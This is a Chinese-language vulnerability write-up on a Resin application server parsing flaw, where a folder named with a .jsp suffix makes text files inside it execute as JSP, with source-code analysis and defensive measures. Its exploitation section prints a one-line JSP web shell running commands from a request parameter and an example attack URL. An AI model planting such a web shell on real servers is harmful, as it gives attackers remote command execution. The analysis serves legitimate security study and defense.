Resin解析漏洞分析
字数 1207 2025-08-03 16:47:31
Resin解析漏洞分析与利用
漏洞概述
Resin是一款流行的Java应用服务器,存在一个与IIS解析漏洞类似的文件解析漏洞。攻击者可以通过创建一个.jsp后缀的文件夹,并在其中放置文本文件,使文本文件内容被当作JSP代码执行。
漏洞原理
核心机制
- 请求处理流程:当访问
.jsp文件时,Resin会通过com.caucho.jsp.JspServlet处理请求 - 缓存机制:Resin会将编译后的JSP封装到
Page对象中,并保存为pageRef属性 - 解析漏洞:Resin的正则表达式匹配机制存在缺陷,导致
/xxx.jsp/yyy.txt这样的路径会被当作JSP处理
关键代码分析
JSP处理流程
public void doFilter(ServletRequest request, ServletResponse response) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;
FileNotFoundException notFound = null;
SoftReference<Page> pageRef = _pageRef;
Page page;
// 首先从缓存中获取Page对象的引用
if (pageRef != null)
page = pageRef.get();
else
page = null;
// 如果缓存为空或者page对象被修改过则重新编译
if (page == null || page._caucho_isModified()) {
try {
_pageRef = null;
page = compilePage(page, req, res);
if (page != null) {
_pageRef = new SoftReference<Page>(page);
_isSingleThread = page instanceof SingleThreadModel;
}
} catch (FileNotFoundException e) {
page = null;
notFound = e;
}
}
// 执行JSP页面
if (page != null) {
try {
if (_isSingleThread) {
synchronized (page) {
page.pageservice(req, res);
}
} else
page.pageservice(req, res);
} catch (ServletException e) {
// 异常处理
}
}
}
URL匹配机制
漏洞的关键在于URL匹配的正则表达式:
^.*\.jsp(?=/)
这个正则表达式会匹配xxxx.jsp/xxxx这样的路径,导致/test.jsp/xxx.txt被当作JSP处理。
漏洞利用
利用方式
- 创建一个以
.jsp结尾的文件夹,例如test.jsp - 在该文件夹中放置一个文本文件,例如
shell.txt - 访问路径
/test.jsp/shell.txt,文本文件内容会被当作JSP代码执行
实际示例
假设攻击者上传了一个恶意文件:
- 创建目录结构:
/upload/test.jsp/shell.txt shell.txt内容为JSP后门代码:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
- 访问URL:
http://target.com/upload/test.jsp/shell.txt?cmd=whoami
防御措施
- 升级Resin版本:检查并升级到最新版本
- 配置检查:修改
app-default.xml配置,限制JSP处理范围 - 输入验证:对上传文件路径进行严格验证
- 安全过滤:实现过滤器拦截可疑的URL模式
- 文件权限:限制上传目录的执行权限
深入分析
请求处理调用栈
HttpRequest#handleRequest- 处理HTTP请求的入口PageFilterChain#doFilter- 完成JSP的编译和执行工作Page#pageService→JavaPage#service→_aaa#_jspService- JSP执行流程
WebApp构建过程
在WebApp#buildInvocation中创建PageFilterChain:
public Invocation buildInvocation(Invocation invocation, boolean isTop) {
// 从缓存获取FilterChains
FilterChainEntry entry = _filterChainCache.get(invocation.getContextURI());
if (entry != null && ! entry.isModified()) {
chain = entry.getFilterChain();
// 设置servlet名称等属性
} else {
// 通过servlet映射获取
chain = _servletMapper.mapServlet(invocation);
}
// 其他处理逻辑
}
Servlet映射过程
_servletMapper.mapServlet关键步骤:
- 获取并清理URL:
String contextURI = invocation.getContextURI();
cleanUri = Invocation.stripPathParameters(contextURI);
- 匹配Servlet:
ServletMapping servletMap = _servletMap.map(cleanUri, vars);
- 默认处理:
if (servletName == null) {
InputStream is = _webApp.getResourceAsStream(contextURI);
if (is != null) {
is.close();
servletName = _defaultServlet;
}
}
总结
Resin解析漏洞源于其URL匹配机制的设计缺陷,特别是对.jsp后缀后跟其他路径的处理方式。理解这一漏洞需要深入分析Resin的请求处理流程、JSP编译执行机制以及URL映射规则。防御此类漏洞需要从多层面进行防护,包括版本升级、配置加固和输入验证等。